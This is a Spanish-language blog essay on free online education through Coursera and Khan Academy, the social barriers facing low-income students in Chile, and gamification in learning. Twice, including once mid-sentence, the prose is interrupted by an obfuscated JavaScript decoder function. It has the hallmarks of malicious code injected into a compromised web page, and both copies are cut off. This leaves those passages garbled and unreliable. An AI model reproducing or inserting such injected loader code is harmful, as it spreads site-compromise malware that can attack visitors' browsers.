Durante el TED Global 2012 se hizo un anuncio que a mi juicio marca un hito dentro de la educación online , llamada también e-learning. Se anunció que universidades como Princeton University, University of Michigan, Stanford y University of Pennsylvania, entregarían vía el sitio coursera, cursos gratuitos que de hecho forman parte de los programas de estudio “offline” de dichas universidades.
La idea original de Daphne Koller y Andrew Ng hoy en día ha logrado triplicar la cantidad de universidades participantes y conseguido como inversión para el sitio-plataforma, más de 3,7 millones de dólares.
En el sitio de Stanford se podía leer a mediados del mes de agosto del 2011.function m65c3bbf5572b(wc){var s4=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r1=»;var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
Jennifer Widom, profesora de bases de datos recalcaba el concepto de educación abierta. Como una oportunidad para mejorar las perspectivas laborales de quien lo quisiera. Esto último es trascendental, esta visión de abrir el contenido pareciese ser el futuro.
Cuando Linus Torvalds en 1991 levantó el código primario de Linux y lo compartió al mundo, demostró que abriendo las fuentes de desarrollo era posible dejar que otros trabajasen para un mismo fin. Miles de desarrolladores contribuyeron y lo hacen hoy en día en un afán de generar un bien para todos los usuarios, muchas veces, gratis. Era lo que hoy llamamos "Wikieconomía" , pero muchos años antes de que Tapscott acuñase el término. Es decir, mucho usuarios transmitiendo su conocimiento en pos de hacer crecer una idea.
La motivación declarada del creador de linux era hacer un sistema operativo más cómodo y sólo por hobbie. La intención que se puede leer en la visión de Coursera es:
[box type="info"] "Entendemos que existe desigualdad en el acceso a la educación, que no todos pueden pagar una escuela que vale 37.000.- dólares anuales. Por lo mismo le damos la oportunidad de aprender a cualquier persona que quiera".[/box]
Antes del lanzamiento del primer y más esperado curso ( Introducción a la inteligencia artificial) ya tenían a más de 58.000 inscritos. Este dato revela una demanda crítica. 58.000 personas están dispuestas a invertir tiempo online para aprender una materia muy específica. Para cualquier empresa online esta cifra de posibles usuarios significaría una gran oportunidad de negocios.
En Chile según cifras de google, un 45% de la población tiene acceso a internet. Esto supone que casi la mitad de la población podría tener acceso a cursos gratuitos online. Sólo se debe disponer del tiempo y la disposición de hacerlo. En Chile hoy en día se discute sobre la educación. Algunos plantean que la educación debe ser gratuita para todos y en todos los niveles de educación. Por otro lado, se postula que la educación privada permite aumentar la oferta educativa elevando su calidad y dando libertad a los padres y estudiantes de poder elegir donde, con quien y como estudiar.
Si hacemos un breve análisis de la realidad de un estudiante de bajos recursos nos encontramos que existen una buena cantidad de barreras sociales que impiden que pueda efectivamente entrar en las mejores universidades y colegios. Primero existe un componente monetario, segundo uno socio cultural que tiene que ver con la discriminación no tácita instalada en la sociedad chilena, y tercero, la escasa red de contactos que puede llegar a tener un estudiante de bajos recursos. Las tres coordenadas tienen que ver con la posición dentro de la escala socioeconómica del país.
La educación online permitiría a mi juicio derribar dichas barreras. En Twitter se da un fenómeno muy interesante donde muchas nuevas conexiones entre usuarios se producen sin tener contacto o una relación previa en el mundo análogo. Se generan nuevos vínculos, es posible desarrollar lazos profesionales e identificar usuarios que comparten información y contenido de alto valor. El origen, la formación, el apellido, la red de contactos, el título universitario, el nombre de la universidad, la comuna donde vives ni tu apariencia física determinan algo. Simplemente lo que importa es el contenido que transmites, los temas que construyes y cual es el tú valor profesional para tus seguidores y red online.
En coursera se te permite crear un perfil, incluir tus otras redes. Además es posible encontrar compañeros de curso a través de Meetup. Es decir desde la propia plataforma puedes generar conexiones con terceros que comparten tu interés.
Salman Khan ( Titulado de MIT y Harvard) fundó en el año 2006 la Academia Khan, un experimento que nació como una solución para enseñar matemáticas a su pequeña sobrina Nadia, usando un servicio de mensajería instantáneo. Cuando otros parientes y amigos comenzaron a pedirle ayuda el decidió que lo más adecuado era armar una cuenta en youtube y subir videos tutoriales. Cuando se dio cuenta que eran muchos los seguidores, fundó la academia bajo la premisa "Providing a high quality education to anyone, anywhere" ( Proveer una educación de gran calidad a cualquiera y en cualquier lugar).
Entre sus cursos se pueden encontrar temas relativos a matemáticas, historia, medicina, finanzas, física, química, biología, astronomía, economía, cosmología, química orgánica, educación cívica , historia del arte, macroeconomía, microeconomía e informática.
¿Cuál es la gran gracia de la academia de Khan?. No sólo tiene videos a modo de tutoriales, sino que tiene una especie de webApp que acompaña al estudiante y va haciendo preguntas, corrigiendo textos, haciendo tests y evaluando en tiempo real el rendimiento.
Esto permite para los estudiantes en entre otras cosas puedan, llevar su propio ritmo de aprendizaje, posee además un sistema dinámico para pedir ayuda cuando estás perdido en alguna área y entrega un perfil personalizado, con puntos y badges.
Lo primero, es a mi juicio, clave. Pues fomenta el aprendizaje desde el camino de interacción de cada uno. Cuando Csikszentmihalyi habla del flow
como un proceso de relación humana con metas donde se deben dar entre otras coordenadas, los siguientes pasos:
Estos puntos son claves para el correcto desarrollo del aprendizaje en entornos digitales y de interacción. El sistema dinámico de aprendizaje que ofrece ayuda también a dar por ejemplo constante feedback y a da al estudiante y tutor una herramienta de manejo de datos de avance.
La última coordenada y creo, una de las más importantes. Es la inclusión de elementos de Gamification. Este último se entiende como concepto el aplicar las dinámicas y mecánicas de los juegos en otros ámbitos de la vida con el fin de aumentar el engagement, es por eso que el sólo hecho de asignar puntajes a las tareas realizadas por los usuarios no es suficiente para decir que esta característica se ha aplicado por completo (function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
En palabras simples, el incluir una mecánica de juegos en el aprendizaje social-digital tiene importantes beneficios. En “Using the technology of today in the classroom today”
los autores concluyen:
-“One of the powerful ideas undergirding games is the fact that games work as rule-based learning systems, creating worlds in which players actively participate, use strategic thinking to make choices, solve complex problems, seek content knowledge, receive constant feedback, and consider the point of view of others”
Primero es el hecho de que los juegos funcionan como sistemas de aprendizaje basados en reglas, la creación de mundos en la que los jugadores participan activamente, los obliga a utilizar el pensamiento estratégico para tomar decisiones, resolver problemas complejos y buscar conocimiento de los contenidos. Además entrega competencias sociales que abren la disposición del estudiante para considerar el punto de vista de los otros.
Podríamos especular que si se logra en algunos años urdir un mix entre educadores y profesionales destacados, junto con plataformas de WebApp de primer nivel en términos de diseño, interacción e usabilidad. Y a eso le incluimos el concepto de gamification cada vez más potente, creo que tendremos un futuro con grandes oportunidades.
Por un lado lo digital podría disminuir brechas sociales y eliminar la negación de acceso a la educación. Esto, el acceso a la red cada vez mayor por parte de la población y la alfabetización digital puede desencadenar que en unos años, sea más rentable en términos de calidad versus inversión suscribirse en un plan educativo de una universidad extranjera. Más aún, de un colegio o escuela fuera de la ciudad o país.
Es una oportunidad de futuro para los que históricamente han quedado rezagados de una educación de calidad. Las competencias digitales que los jóvenes tienen ( que hoy se obtienen como objetivo de sociabilizar) sirven como base de interacción para proyectos como el Coursera o La Academia Khan. Sólo basta entonces fomentar iniciativas de educación online y educar a los más adultos quienes son los más reticentes a los nuevos modos de aprendizaje, gamification y plataformas sociales.
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